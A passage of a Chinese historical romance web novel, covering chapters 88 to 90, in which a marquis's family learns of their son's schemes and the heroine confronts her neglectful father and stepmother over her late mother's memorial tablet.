沈夫人也知道沈侯爷的情报不可能有误,她怔愣呆滞好一会。 沈侯爷见她神色不对,让她缓一缓,“这件事情的确是荒谬,但的确属实。” “我跟夫人说这么多,也是想要告诉夫人,祝氏在听澜心中的地位珍而重之,你要对她好一些,往日里能哄则哄吧,别叫她委屈了。” 若是沈侯爷没有说这一番话,沈夫人定然会说还要怎么哄着? 可沈侯爷既然说了那么多,便是他不讲这句话,沈夫人都知道了。 祝吟鸾对于沈景湛而言,并不一般。 先前沈夫人觉得他就算是喜欢,也始终有个度,谁知道啊,也不知道随的谁 思及此,沈夫人忍不住朝着沈侯爷身上投过去一眼。 沈侯爷被她看得好笑,想说这到底是两人一道孕育的儿子。 可沈夫人心绪好不容易回缓一些,沈侯爷只能点头揽下,“都是我不好,教子无方,教出这个混账逆子来!” 沈夫人哼了一记。 话都说到这个份上,沈侯爷干脆就把卫如琢被人“断子绝孙”“无法人道”,以及祝吟鸾为什么会怀孕那么快的事情也跟沈夫人说了一遍,说是查到太医那边得知的。 沈夫人原以为适才得知的事情足够荒谬毫无底线了,没想到有关卫家子无法人道的事情也跟沈景湛有关系,祝吟鸾的身子骨也是他算计的。 许是沈景湛有前科,这一次沈夫人震惊之余,没有怎么怀疑。 她当下拍着锦被腾身而起! “好啊他,难怪媳妇要打他,我这个做娘的听了都想抽他了!” 第89章 第89章她像兔子逼急了会咬人。 沈侯爷被吓了一跳,而后就是忍不住笑出了声音。 “好好好,待听澜回来,好好鞭策一二。” 沈夫人无法冷静下来,依然觉得义愤填膺,“他怎么可以做出这样的事情来?” 沈侯爷在想,当初执意要娶祝吟鸾的时候,也往家中说过不是祝吟鸾生不出来,因为卫如琢无法生育的事情是他动的手脚。 那会子沈家无一不震惊,当时沈夫人似乎也知道吧,估计她并不是很相信,后面京城流言四起,沈夫人自然不会因为一些捕风捉影的谣言,将事情一味怪到沈景湛的头上。 现如今,沈侯爷亲自跟她说了,甚至还有前番那么多的事情,包括有太医辅以佐证,沈夫人就算是不想相信也不得不相信了。 “真是个混账羔子!”沈夫人又接着骂了好几句。 这会子没有旁人在,只是当着沈侯爷的面,沈夫人便没有那么多的顾忌。 知道沈夫人的心里本来就不爽利,所以在她开口责骂沈景湛的时候,沈侯爷并不阻止,由着她训斥。 过了一会,训斥够了,沈夫人果然自己停下来了。 回过神的沈夫人询问沈侯爷,“话说回来,这些事情,儿媳妇都知道么?” 沈侯爷顿了一会,点头道,“先前不知道,这会子定然是知道了啊,否则怎么会跟听澜动起手来?” “夫人也跟儿媳妇相处一些时日了,她是个什么样的性子,夫人难道不清楚?” 沈夫人哀叹一声,“我也是气昏头了,怎么还问出这样的话来。” “祝吟鸾虽然沉闷了一些,但人还是恬静柔美的,性子也十分的温婉。” 有时候就像是兔子一样,看起来就好欺负。 但沈夫人也清楚,祝吟鸾做事很有自己的主见。 就从她没有娘家扶持,毅然决然反抗卫家,与卫家和离脱身,而后又嫁给沈景湛这件事情便可以看出来了。 看起来好欺负,但绝对不会平白无故被人欺负。 兔子都被逼得咬人了,足以见沈景湛做得有多么过分。 “明儿我就去把人给接回来了,好生给她做主,训一训听澜!夫君也同我一起去吧。” 沈侯爷笑,“夫人又忘记了?明儿得过孟家去。” “过些时日吧。” 沈夫人还是不放心,“这要过到什么时日?” 两人生了龃龉,祝吟鸾的性子又坚韧,万一和沈景湛闹得不可开交,出什么事情怎么办? 沈侯爷道,“听澜前些时日忙碌,一直不得归家,他和媳妇之间的事情尚且没有解决,让两人在外住几日散散心也好,叫他自己哄哄,过些时日哄好了,也就回来了。” “话是这么说”沈夫人表示自己依然没有办法放心。 沈侯爷宽慰她许多句。 沈夫人问他何时能够再告假。 沈侯爷明着告诉沈夫人,“这些时日京城动荡,朝局不稳,几州边境镇压的人隐隐来犯,不仅如此,甚至混到了京城和京郊大营当中” 沈夫人听得心惊,“之前不是说只是力行2公事检查么?” 沈侯爷早出晚归,沈夫人就问过他,是不是要出什么事情了? 当时沈侯爷说例行公事查访,没什么事情。 现如今居然让外族人混入了京城和军.队?所以根本就不是例行公事,而是纠察奸细了。 “这件事情说来话长。”沈侯爷眉头紧皱,“太尉一案查出了不少问题,太尉被贬之后,京城风云四起,百姓怨声载道,夫人可知除却边境之外,就连不少乡镇县城都打着护太尉的起义闹事,除却京城之外,外面已经闹得风雨飘摇了。” “什么?!”沈夫人听了只觉得惊魂未定。 这究竟是怎么回事? 怎么就闹成了这个样子? “那岂不是内忧外患了?”说到朝廷的事情,纵然是没有外人在,沈夫人也不由自主压低了声音。 是的。 沈侯爷缓缓点头,“所以夫人在家多多看紧门户,加强门房的管治,不要叫人钻了空子。” 沈夫人连忙点头,让沈侯爷放心,她一定会将这件事情给做好的。 “就说是母亲的身子骨不太好了,太医嘱咐了要静静养病,借着孟家的由头,世家各族的帖子能少接就尽量少接吧。” “好。”沈夫人适才也在心里想了想,原本就想要这么打算了。 恰好沈侯爷正把她的心声给说了出来。 沈夫人又忍不住担心,问沈侯爷都如此难以告假,怎么沈景湛忽然就得了休沐呢? 毕竟太尉的案子还没有解决完。 “夫人果然聪慧。”沈侯爷见到她神色无比紧张,在这个关头之上夸了她一句,也是借此宽慰她的心。 “听澜在朝堂之上屡受弹劾,如今我与镖旗、镇东、首威四位将军领受懿旨肃查奸细平定叛.党,听澜背后始终是沈家,若是他不休沐几日,由着太尉的.党.羽等人弹劾,那我们在做的事情也会被人怀疑。” 沈夫人听着,面容浮现无尽的担忧,千言万语到了嘴边,她只能跟沈侯爷说,“一定要小心。” 沈侯爷拍了拍她的手背,“我之所以告诉夫人,就是想要跟夫人说万事小心。” “听澜当年为了了解姚太尉,被陛下选中送到了太尉的门下,成为他的关门弟子,如今这桩事情也成为了口舌是非,不易到人前争辩。” “会有事吗?”沈夫人问。 “无事,夫人且放心,纵然是天塌下来,也会有我顶着。” 闻言,沈夫人笑了,但心里的担忧不减。 “” 翌日,沈夫人先是让老妈妈挑了一些补品和料子,送去给祝吟鸾,让老妈妈传话,说让她宽心,不必忧心家里,在外跟沈景湛散散心也好,但是千万小心身子。 出去孟家之前,沈夫人又跟着沈侯爷过沈老太太的院子里去走了一趟。 沈老太太的身子骨还是老样子,不好不坏。 接连吃了许久的药,精气神都不怎么好了。 见沈侯爷过来,跟他说了一会话,脸上倒是多了些许笑纹。 得知两人要去孟家,听了沈夫人的打算,沈老太太连连点头,“如此甚好,到底是周全了。” “母亲您要保重身子骨,听澜媳妇还没有生呢。”沈夫人担忧道,亲自接了老妈妈端上来的补汤,坐到沈老太太的身边喂给她。 吃了小半碗,沈老太太就说是不用了。 她倚靠着软枕,笑着说,“放心吧,我的身子骨,我心中有数,不至于这样不中用了。” “朝堂之上可还稳当么?”沈老太太又问沈侯爷。 “母亲安心,一切都有儿子,能够应付得来。” “如此就好。”沈老太太虽然在养病,但眼睛耳朵通向四方八路,很多事情都相当敏锐。 “您安心养病。” 沈侯爷和沈夫人从韵梅堂出来,清点了单子,就过孟家去了。 与此同时,沈景湛也带着祝吟鸾回了祝家。 期间祝吟鸾一直往外看,她瞧着前往祝家的街巷,跟她记忆当中实在是相差甚远,犹记得前几年祝家一直都是门庭若市,她在祝家的庭院靠近门墙,夜里总是吵闹。 现如今,居然变成这样萧条的模样,在她的预料当中,毕竟祝家官司缠身,门庭子弟避之不及,亲戚都不上门了,还有谁会上来啊? 长姐嫁入了王府都解不了祝家的困境,祝家是真的要完了吧? 会不会死? 思及此,祝吟鸾的目光投向了沈景湛。 他手里拿着书卷在看,俊美无双宛若谦谦公子,即便是执卷的手上有伤,依然不损他的半分风华,反叫人忍不住盯着他看。 只是看这张脸,哪里联想到他做哪些事情?昨日还要锁扣着她歇.息,抱着她密不透风,简直就是一个可怕的疯子。 今日要不是她一直闹,沈景湛甚至都不打算给她解开了。 话是这么说,他的动作很快,祝吟鸾都没有看到他是怎么打开的,那锁.环便打开了。 她发愣思考的时候,沈景湛已经将锁.环给收起来了,她后知后觉想要找到这个东西丢掉的时候,已经没有了踪影。 “怎么了?” 原本来清冷的公子,视线从书卷挪到她的脸上,立刻变得如沐春风。 “鸾儿这样瞧着我,是不是想要亲我?” 祝吟鸾,“” 受不了了。 她回都不想要回沈景湛的话了。 姑娘略是无语以对的神情叫沈景湛轻笑。 他伸手过去,原本想要捏捏她的面颊,可怕她又恼怒,最后只是替她拢了拢斗篷。 四个月过后,她的腰身便显出来了。 临出来时,沈景湛给她拿了斗篷,披上斗篷以后便什么都看不到了。 “既然不是想要亲我,那便是有话要说了?鸾儿要跟我说些什么啊。” “你没有猜到么?” “的确是猜到了,但是我想要听鸾儿说话。” 祝吟鸾又瞧他一眼,决定不再卖关子,“祝家的结局会如何?” 祝家如今的局面来源于沈景湛的算计,那祝家的结局他一定很清楚了。 “鸾儿是心软了?”沈景湛指的是祝大人。 这是目前祝家对她唯一有血缘关系之人。 祝吟鸾顿了一会,然后低头道,“父亲待我凉薄,几乎从未用正眼瞧过我” 在他的眼里,她这个庶女恐怕比不过家里一个趁手的物件。 他都这样对她了,她又为何要看重? 瞧出她的意思,沈景湛只是挑了挑眉,并不欲多提。 须臾之后,祝吟鸾问,“你还是没有回答我的问题。” 祝家的结局会如何? “祝家的结局不在于我,只在于祝家自己的选择了。”沈景湛云里雾里来了这么一句。 原本她还要追着问,可忽而想到沈景湛之前跟她说过的话。 他说他不过是给卫家抛了一些诱利,上不上钩,就看卫家的人选择如何了。 卫如琢走到这一步,沈景湛是背后的推手,但不是他拽着卫如琢往前走,而是以利勾出他骨子里的贪婪和狂妄自大而已。 可以说,卫如琢走到这一步,都是咎由自取。 思及此,祝吟鸾忍不住问,“你呢?” “什么?”沈景湛对着她总是有无数耐心的样子。 刚嫁到沈家来的时候,明芽跟祝吟鸾说,她从旁人的口中打探到了有关沈景湛的消息。 说沈景湛看书的时候必须很清静,容不得有人打扰,就算是天大的事情都不能通传。 可如今沈景湛在看书,她三番五次打断他的思绪,询问他,他没有丝毫的不耐,一直瞧着她,看着她。 其实不只是这一次,好几次沈景湛在书房,她看向他,他在忙碌的时候也会对她有所回应,譬如对着她笑,递给她一个安心的眼神。 有沈景湛在,她总莫名觉得宁静。 “” 说话间,已经到了祝家。 祝吟鸾原本要自己下去,放下书卷的男人,揽着她的腰肢,就将她 给抱下来了。 期间,沈景湛居然还威胁她,说若是她不叫抱,就要亲她了。 光天化日之下,还是在京城的街巷。 人来人往,他还真是厚脸皮。 不对,是没脸没皮。 祝吟鸾忍不住又瞪了他一下。 抱着她下了马车,还一直拉着她的手腕不肯松开。 祝吟鸾挣扎了两下完全挣扎不开。 又说不过沈景湛,只能由着他牵了。 祝家萧条出乎她的想象,守门的人都不在了,匾额甚至都出现了裂纹。 倘若不是她清楚,甚至都怀疑这里不是祝家了。 “你确定里面有人在么?”祝吟鸾疑问。 “鸾儿去看看不就知道了?” 沈景湛牵着她上台阶,叩了两下门扉,还没有等到人来开门,门扉居然自己开了。 祝吟鸾大惊。 里面倒是还好,虽然不似以前光鲜,到底规整,只是摆在廊下的花树死了好几株,下人不知道去哪里了,没有更换。 祝吟鸾刚想说话,就听到廊下传来了吵闹的声音,是一个婆子居然在骂天骂地。 她手里掂着银钱走了出来,动作无比粗俗,脚步还有些虚浮,一看便知道是吃了酒。 祝吟鸾认出来了,这是她的嫡母朱夫人的随身婆子,她怎么? 不等她说话,对方收好银钱,看过来了。 “谁啊——”婆子眯着眼睛看过来,见到祝吟鸾的一瞬间还以为瞧错了。 祝吟鸾怎么会来? 可再看到站在祝吟鸾旁边的俊逸郎君,男人脸上的神色冰冷,无端透着骇人的气势,婆子也不知怎么吓得险些跪了,“三三三三三小姐?” 很快,婆子鬼叫着三小姐回来了。 半刻之后,祝吟鸾跟着沈景湛坐在祝家的正厅当中,她的父兄此刻正谄媚地给她和沈景湛倒茶,问好。 祝大人看起来憔悴不少,也不知道是不是这些时日求人求多了,卑躬屈膝得厉害,字里行间都是局促。 她的嫡兄祝鸣生隐约之间还能够看出不服气。 祝吟鸾也知道为何,是因为从小养尊处优被捧惯了,即便是沦为丧家之犬,他也是不服气的。 “鸾儿带着贤婿回来,怎么不提前叫人送信,我好派人去接你们啊,不!我亲自去接你们!”祝大人此时此刻看着祝吟鸾和沈景湛,就像是见到了救星一般。 他的脸上满是算计,心里琢磨着两人的来意,看着眼前越过越好的庶女,心里真是悔不当初,那会子就应该对她好一些,不然眼下也不至于走投无路到如此地步。 她这个庶女当真是有造化的,离开了卫家还能够再嫁高门。 至于旁边的沈景湛,祝大人都不敢多看。 因为他这个女婿,年纪轻轻就令人忌惮不已,御史台的老臣都不敢跟他对着来,他一个被闲搁在家的小官,哪里敢主动跟着他搭话。 正因为有沈景湛在,祝大人的行为举止都特别谨慎卑微。 祝吟鸾懒得看她父亲惺惺作态的样子,刚要说明来意,祝大人却已经率先哭上了。 他“苦口婆心”说很是对不起她,如今她能够回来看看他这个父亲,都是他的福分和造化了。 还说他一直记挂着她,三番五次要去看她,但因为家里的事情多,实在是抽不开身去了,又问她身子骨还好不好? 说她的肚子就快要五六个月吧?不知道祝家的事情有没有连累到她。 说着说着,甚至还提到了祝吟鸾故去的小娘是,“前儿你小娘给我托梦了,她说想你了,总感觉她在底下过得不好,我让人给她烧了银钱元宝,还请人做了法事。” “如今她的牌位就在祠堂里面供着呢,你嫡母病着,你哥哥还亲自给她写了佛经,都烧过去了” 若祝大人没有提到她的小娘,祝吟鸾本来是想要好好说话的。 可他居然虚伪到了这样的地步,是想要利用她的小娘博取她的同情心吧。 托梦?还真是张口就来。 烧银钱元宝写佛经,当她是三岁的孩童那般好糊弄了? 以为说这些就会让她有一丝一毫的恻隐之心? 祝吟鸾等着祝大人说完,静静看着他。 她一言不发,祝大人原本搭好的戏台子都忍不住尴尬了起来。 若是放在之前,祝吟鸾要是敢这么看着他,祝大人定然是一个巴掌甩过去了。 现如今她的身份高贵,肚子里还怀着侯府的嫡长孙,他可不敢真的动祝吟鸾一根手指头。 反而还要赔着笑,转移话茬说府上的糕点是她往前常吃的,让她多吃一些,又给祝鸣生递了一个眼神。 祝鸣生接过台子说话,“是啊三妹妹,你别不信,自从父亲做梦之后,我便一直在为你母亲抄写佛经,保佑她——” 祝吟鸾实在是没有心情听下去了,她道,“真的吗?” “自然是真的。” 祝鸣生被打断了话,眼里闪过不满,可旁边给祝吟鸾撑腰的沈景湛正看着他。 祝鸣生立马就将不满给压制了回去,换上一副略带讨好的笑脸,实则心里却还是将祝吟鸾骂了千万遍。 “三妹妹,往日里你在家中,哥哥对你还是不错的吧?可曾有苛待过你啊?”祝鸣生这样问。 他也庆幸自己从前完全看不上这个庶妹,没有将她放在眼里,一直都是冷待的,所以如今也能够变相说一些好听的话来搪塞。 “当初父亲和母亲让你退” 原本想要提卫家,因为那日他根本就没有过去,倒是可以颠倒黑白说一说,但沈景湛在这里,他可是祝吟鸾的正头夫郎,别惹了他不快才是。 不管沈景湛是不是真的喜欢他这个无趣的三妹妹,宠上天可都是众人有目共睹的。 没有人会喜欢听到自己枕边人的前尘往事。 祝鸣生直接跳过道,“当初哥哥我可是一直反对,想要制止,但是你也知道家里的一切都是母亲做主。” 原本想说父亲,可祝大人就在身侧,只能把锅给甩走了。 “我——”祝鸣生还要再说,径直被祝吟鸾再次打断了。 她道,“嫡兄就不要在我面前惺惺作态了吧,咱们一家子往日里是如何相与的,大家心知肚明,有一些话说出来难听,彼此也难堪。” 祝鸣生的脸立刻就青一阵白一阵,恨得牙根痒痒,但是又不能够拿祝吟鸾如何。 赔着笑脸,“三妹妹这说的是哪里话啊?” “你说得对,咱们可都是一家人啊,不要伤了和气,家和万事兴嘛。” 祝吟鸾忍不住嗤笑了一声。 祝大人瞧出她的不满,立马就跳出来训斥了祝鸣生,说他讲话不中听,“你妹妹如今有着身子,你说话怎么就不能顾着她心意一些,提什么过去的事情!” 祝大人瞪了祝鸣生一眼,然后又跟祝吟鸾说,“你哥哥说话不中听,为父已经训斥他了,今儿你和贤婿难得回来一趟,我已经叫下人去备办酒水饭菜,待会我们一家子坐下来,用膳闲话” “父亲说还记得我小娘,讲她前些时日给父亲托梦了?”祝吟鸾反问。 祝大人不明白她的用意,却还是肯定的点头,说是啊。 “父亲说得这么恳切,女儿倒是想要问问父亲,我小娘梦里穿的什么衣衫,别的什么珠钗,又是何等模样?” “这也就是素衣白裙”祝大人被问得有些接不上来了,开始搪塞,“她一直哭着,我忙安慰她,心里又痛,倒是顾不上留意这些了。” “是吗?”祝吟鸾冷笑,“那我叫人拿笔墨纸砚上来,父亲不如画画梦里见到的小娘的模样吧?” 祝大人这下真是搬起石头砸自己的脚,刚要说吃了饭再画也来得及。 可沈景湛已经吩咐他身边的人下去拿笔墨纸砚了,并且很快就拿了上来,摆好了。 祝大人还没有想到对策,完全是被人赶鸭子上架,攥着笔墨,完全画不出来。 他就是胡说八道的,祝吟鸾的小娘哪里给他托梦了,要不是祝吟鸾还活着,他甚至都想不到这个妾室了。 这事闹的,祝大人尴尬笑着正要转移话茬说得想想,让他想想。 祝吟鸾在这时候道,“父亲是画不出来,还是根本就不知道我小娘长什么样子了?” 祝大人很尴尬,“记得,怎么不记得,只是年月久远,梦里又很含糊,她总是哭着,我一时之间的确是回忆不起来了。” “如此,我也不为难父亲了。”祝吟鸾忽而松口,祝大人如释重负。 可是心里的大石头甚至都还没有落地呢,她便听到祝吟鸾又道,“父亲记不得小娘的样子,总还记得她的名字与生辰八字吧?” “前些时日,父亲不是也给小娘立了新牌位挪到祠堂吗?” “您把小娘的生辰八字和名讳写出来,我拿着亲自过去给她烧香。” 祝大人,“我这” 过去那么多年了,这个妾室叫什么来着? 只记得她生得很美,如今这名讳和生辰八字实在是想不起来了。 祝大人攥着笔,因为着急,墨汁甚至甩到了她的衣摆之上,加上他满脸冷汗,卑躬屈膝,样子十分的狼狈。 “祝大人,事已至此,你居然还要诓骗我?”祝吟鸾改口没有再叫父亲,而是嘲讽唤了一句祝大人。 “为父知道是对不起你,但这些时日家里繁忙,我真的是迫不得已。” “你是我的女儿,我心里必然是惦记你的啊。” “是吗?”祝吟鸾又是冷笑, “倘若记不得小娘的了,那我的呢,我的生辰八字,父亲可还记得?我往日里爱吃什么,不爱吃什么,会看些什么书,父亲有留意关注过吗?” 祝大人还真是记不得了。 当年那个妾给他生了一个小猫般孱弱的女儿,他没什么心情,索性就把孩子丢给了朱氏,让朱氏去管教。 这祝吟鸾也跟她小娘一样,话少沉默,总是低着头,若不是生得美,还真叫人一点印象都没有。 也正因为祝吟鸾生了一张好脸,他偶尔才会想起来这个女儿,让朱氏看顾着,日后用来巴结世家大族,以祝吟鸾的身份做正妻是不可能了。 但是她生得美,倒是可以做个偏房,只要送到世家的手上,到底也算是攀了亲,得到了好处。 如今的祝吟鸾的确是有了大造化,可谁知道事情居然又变成了这个样子。 “父亲讨好我,想要我帮衬沈家,作戏也得做全套吧,空口白牙,真以为我是三岁的幼童么?” 祝大人脸色青白,被人戳破之后,尴尬得找不到北,他唉声叹气,假惺惺挤出眼泪,连声道对不起祝吟鸾和她小娘。 “就算是养狗,都得给些好吃的,更何况,我还是你的女儿。” 祝吟鸾看着桌上的糕点, “往前我吃的都是剩的,仆人们挑拣过不要的,祝大人叫人端上来的时候,没有寻人问过吗?” 沈景湛察觉到她的情绪渐渐失控了,伸手过去牵住她。 在碰到祝吟鸾指尖的那一瞬,她防备似地抗拒了一下。 可被他大掌穿过指缝牵住的时候,在无形之间渐渐放松了下来。 静坐了许久的沈景湛开口了,他的声音幽冷, “祝大人,我陪同娘子此来是为了挪岳母的灵牌,我想祝家这边不会不方便吧?” 第90章 第90章他给她撑腰。 祝吟鸾小娘的牌位原先是没有供奉位的,因为朱夫人不喜欢。 祝吟鸾及笄之后,手上攒了一些银钱,便偷偷找人给她刻了令牌,放在院中偷偷供奉着。 后来这件事情被朱夫人的奴仆发现,朱夫人还以她偷偷在家中做不祥之事的名声训斥,打了手心一顿。 祝大人当日也在,得知了这件事情,也觉得晦气,他当时想起来自己这个貌美却怯弱的女儿,觉得日后还有用处,便说了一句,让朱夫人看着办,处理妥当一些。 那便是允许祝吟鸾小娘的牌位供养,也要给其寻个安置妥当的地方。 朱夫人面上笑着应下,背地里却又很苛责,她说祝吟鸾的小娘早死,命薄不好,且只是一个妾室,没有上族谱,不配入祠堂。 也是从那个时候开始,祝吟鸾方才知道,原来她的小娘居然都没有入族谱,原因是因为她生不出男嗣,又薄命。 当时她很气愤,抬眼冷冷瞧着朱夫人还被她身边的仆奴甩了一巴掌,那婆子用了十足十的力气,祝吟鸾的嘴角都打出血了,可是她捂着脸没有哭。 也不能够回话,若是真的跟朱夫人闹得不可开交,那她小娘的牌位一定会被扔出去。 她被婆子按着脑袋和后背跪在朱夫人的面前,说她以下犯上,不应该这样瞧着母亲。 当时那句母亲简直就是朱夫人让仆奴们羞辱她的。 她被迫叫出来之后,朱夫人说她只有一个女儿。 后来她的小娘依然没有能够上族谱,没有入祝家的祠堂。 她替长姐祝沉檀嫁卫家去的时候,他的父亲给了一个施舍的条件,说她要听话,若是听话便让她小娘的牌位供在祝家的祠堂,可她已经不愿了,若是她走了小娘指不定要怎么被欺负。 便偷偷带着她小娘的牌位去了卫家,私下里照顾供奉,便是跟卫如琢好的头两年,卫如琢都没有叫她小娘一声岳母。 现如今,沈景湛适才居然叫了她的小娘岳母。 祝吟鸾心中不免触动,不着痕迹瞧了男人的侧颜一眼。 在她跟自己的薄情生父对峙的时候,察觉到她的单薄无助,他又牵住了她的手。 祝吟鸾深呼吸一口,平复着心绪,暂时没有说话。 原来这就是有人撑腰的底气么? “这这这”祝大人已经是满头大汗了,他此刻也真是后悔,不应该在祝吟鸾回来的时候提到她的那个小娘。 平心而论,他对这个妾的确是薄情寡义了一些,即便是在兴头之上也没有给什么好处。 一时之间寻不到什么话说了,祝大人只能越发放低了身段,“鸾儿啊,我们到底是一家子,你身上还是流着为父的血啊。” “你总不能见死不救吧。”干脆就把话给挑明了,顺便试探一下祝吟鸾此番上门来的深意,她究竟是想要做些什么? 是来寻仇,还是来帮扶祝家一把? 若是后者还好,若是前者,那可就倒霉了。 但看着他这个庶女也不是一个心.硬.的人,她跟她小娘也没相处几年,母子之间的情意算不上太深厚吧? 可她还是给那妾室偷偷供养了很多年的香火,逢年过节总是给那个妾室烧银钱元宝,分明她自己都吃不饱穿不暖的,这不也侧面说明了他这个庶女还算是有情有义的么? 血缘关系到底是摆在这里,既然糊弄不通了,不如就利用一二,激起祝吟鸾骨子里的父女亲缘,让她帮着他一把。 祝大人深知自己还没有活够,他不想这么快就死了。 心里已经打定主意要怎么摆低面子,怎么做了,可在面上,祝大人还是要顾忌一些,主要还是有些话当着祝鸣生的面不好说。 于是他找了一个借口,“膳房的饭菜这时候也不见端上来,你快去瞧瞧,别怠慢饿到了你的三妹妹还有三妹夫。” 祝鸣生适才被奚落,此刻巴不得离开呢。 他算是看清楚了,祝吟鸾今儿个就是来摆台子出气的,偏生他这父亲没有什么根骨,就由着对方奚落。 他根本就弄不明白,即便是再怎么低入尘埃,他这没什么亲缘情分的三妹妹也绝对不会拉祝家了。 与其如此,还不如早点把人给送出去,免得又像方才说错了话,满头大汗不知找什么补,岂不是非常尴尬么? “那儿子先告退,父亲陪着三妹妹和沈世子说话吧。” 沈景湛已经替祝吟鸾开口了,他此刻离开最好,根本不敢顺着祝大人叫沈景湛一声妹夫。 祝鸣生走了之后,祝大人又开始假惺惺抹泪了,他说他也是没有办法,知道当年对不起她们母子两人,但也不全是他的错。 根本不敢回沈景湛的话,便开始转移话茬。 他居然把所有的错都推到朱夫人的头上,“鸾儿啊,女婿啊,当年我也是受你嫡母的牵制。” “我是想对鸾儿还有你小娘好一些,可是你嫡母那人你也不是不知道,根本就是醋缸子里泡出来的人,我” “我也是没有办法。”他做出被逼无奈的样子,满脸愁云。 “当年朱家势大,我得顾念着她,否则你和你小娘能不能活下来,都是未知数。” 什么叫厚颜无耻,这就叫厚颜无耻了。 祝吟鸾听了忍不住讥笑。 当初朱夫人的娘家的确是没有没落,但跟祝家相比,哪里就越过祝家的头上了? 把 他的冷情薄性说成被逼无奈,祝吟鸾今日真真是开了眼界。 果然,人的无耻是没有下限的。 “祝大人还真是能言善辩啊。”沈景湛如此道。 他的语调平和,面上似笑非笑,“也真是狠得下心。”字里行间无端给人无尽的压迫和嗤笑感。 令人觉得面皮子挂不住,祝大人也的确觉得面上挂不住了。 “我真的是有苦衷的” 看着沈景湛的脸上,已经隐隐约约浮现了不耐,祝大人这就想起了他要说的正事。 他端着桌上的糕点,走到祝吟鸾的旁边,亲自放到她的手上。 只可惜祝吟鸾根本就不接,有沈景湛在旁边护着,祝大人也不敢越到她的面前去。 只能捧着糕点,继续卑躬屈膝,“鸾儿啊,父亲也知道你不容易但这次的事情,你真的不能不救父亲啊。” 再也不敢提什么骨肉血亲的事情,祝大人道,“我知道你心中埋怨,这件事情的确是为父的过错,你要骂要训斥,为父都认了。” “只是鸾儿,为人在世还是要网开一面,这样吧,父亲也知道你不好办,你就像是卫家那样,捞了父亲就好,至于你哥哥和嫡母当年也的确是她的过失,她应该去承受的,父亲也不阻拦了。” 祝吟鸾真是想让朱夫人,亲自来听听她枕边人说的这句话。 转念一想,又不觉得意外了,夫妻本是同林鸟,大难临头各处飞,往日里最疼爱的长女他都能够“卖”给那样的人,知道她过得不好,也没有想过要接回来,朱夫人又算什么呢? 前不久祝吟鸾可是听明芽说了,她出去找药的时候见到了长姐祝沉檀的陪嫁丫鬟去医馆买药,郭老王爷可是皇亲国戚,府上的人病了不去找太医,反而去找医女,这说明伤的地方很有可能不好示人。 与王府联姻没有得到什么好处,反而还被郭老王府给拖累,想要脱身,恐怕是难了。 “你就捞父亲一个人,亦或者父亲能够为你做点什么,譬如”譬如效仿卫老大人卫籍,把卫如琢和庞氏都给挤兑出去,大义灭亲之下总算是脱身出来了。 他不仅返回京城,凭借此举,还在京城当中谋得了不错的官位,名声的确是难听了一些,但经过这么一遭,祝大人也明白了,只要能够活下去借着享受荣华富贵,高枕无忧,什么名声脸面,都不重要了。 他后悔的岂止有这一桩事情,当年就不应该为了周全家中的脸面,换了祝吟鸾的婚事。 谁知道祝沉檀嫁过去骆家,居然出了这样的事情?跟骆家无法结亲就算了,甚至成为了仇家,让骆家对付卫家,卫家原本蒸蒸日上,在祝吟鸾和离之后也 不提也罢,当年的事情不好说,谁知道他这个小小的庶女居然会有这样的造化,入了沈景湛的眼睛不说,高嫁侯门做世子少夫人。 若是早知如此,当年就应该对她好一些了,把她当成嫡女供养,好吃好喝。 多说无益,祝大人继续跟祝吟鸾说,让她怎么做,怎么样才能够把他给捞出来,“为父日后一定安安分分,你让为父做什么为父就做什么,绝对不会给你添一丝麻烦。” “对了,日后你母亲我会抬为正妻,让你成为我们祝家的嫡女,你看怎么样?” 这就是他谈判的条件了。 祝吟鸾嗤笑,刚要反驳,忽而手心一动——是沈景湛捏了她一下,虽然不清楚沈景湛做什么捏她,但祝吟鸾还是很快就把声音给压了下来。 然后她看向沈景湛的一瞬间,对方笑着跟她的父亲说好。 “果真吗?!”祝大人已经管不上祝吟鸾了,因为她背后的人都开口说了好,那不就是可以了? 祝大人反复确认,一口一个好贤婿。 祝吟鸾心中虽有不解,但一想到沈景湛是个老狐狸,索性就按兵不动,没有说话。 也说不上来是从何时,她对沈景湛已经十分的放心了。 “自然是真的,只要祝大人说到做到,主动将祝家的干系给割舍掉,扶正了岳母的灵牌,让她入主祝家的祠堂,再将朱夫人以及祝鸣生祝沉檀的名字划出祝家的族谱,那事情就可以谈。” “真的可以谈吗?”祝大人欣喜若狂。 原以为这件事情难办,没想到沈景湛居然就松口了? “嗯。”沈景湛握着祝吟鸾的手,小心护着她起来。 祝大人要留两人用膳,可话还没有说完,外面就传来一声怒吼。 祝吟鸾吓了一跳,在对方气冲冲进来的时候,沈景湛拉她至于怀中的安全之地 原来是朱夫人,她居然听到了祝大人适才所说的话,所以跑进来闹了。 已经完全不顾当场有没有人在。 听说朱夫人病了,原以为是头疼脑热之类的,今日一见,祝吟鸾方才知晓她居然病得如此严重。 她带着抹额出来,发鬓之上已见明显的白丝,披着宽大的衣衫,完全遮掩不住身形的消瘦,脸色也十分差,也就几个月没见,朱夫人就好像是衰老了好几岁。 难道是上天听到了她适才内心所想?所以把朱夫人给叫来了? 朱夫人既然这么愤怒,立马拉着祝大人撕扯到了一起,听她字里行间的控诉,她来外面偷听也有好一会了。 是她那嫡亲哥哥把朱夫人给叫来的么? 祝吟鸾总觉得这件事情跟沈景湛脱不了干系。 她瞧了他一眼,他察觉到她的视线,俯身低头问她饿不饿? 祝吟鸾摇头。 她看着她朱夫人像个泼妇一样拉扯祝大人的衣衫,直呼着祝大人的名字,一口一个祝常,说他没良心,忘记了是谁给他生儿育女,又是谁替他操持家中大小事宜,这些年为他奔走东西,送礼往来。 如今祝家出事,她最珍爱的女儿已经搭进去了,他却要将她们三人置于死地吗? 祝吟鸾在旁边看着朱夫人歇斯底里,不禁回想到很久之前的她自己。 “” 面对朱夫人的指控,祝大人毫无悔过的意思。 他似乎还想劝一劝,可见朱夫人如此,干脆也就不说了,直接当着祝吟鸾和沈景湛的面撕破了脸,用力甩开朱夫人,大叫一声,“够了!” 朱夫人本就病着,哪里经得住他这么一甩,整个人跌在地上,整张脸都皱到了一起,更明显的是她脸上无比痛心,不可置信的神情。 抹额已经掉了,旁边的丫鬟婆子来扶着她,都被她给甩开,“祝常!你居然敢这么对我。” 祝吟鸾冷眼看着她这位父亲,企图在他的脸上找出一丝心疼的神色,可她仔仔细细看了许久,没有,有的也不过就是不耐和烦躁。 他整理着自己的外衫,活像掸脏东西一样,将朱夫人触碰过拉皱的地方给捋平,“行了!” “你哭哭啼啼像个什么样子,这里还有人在呢!” 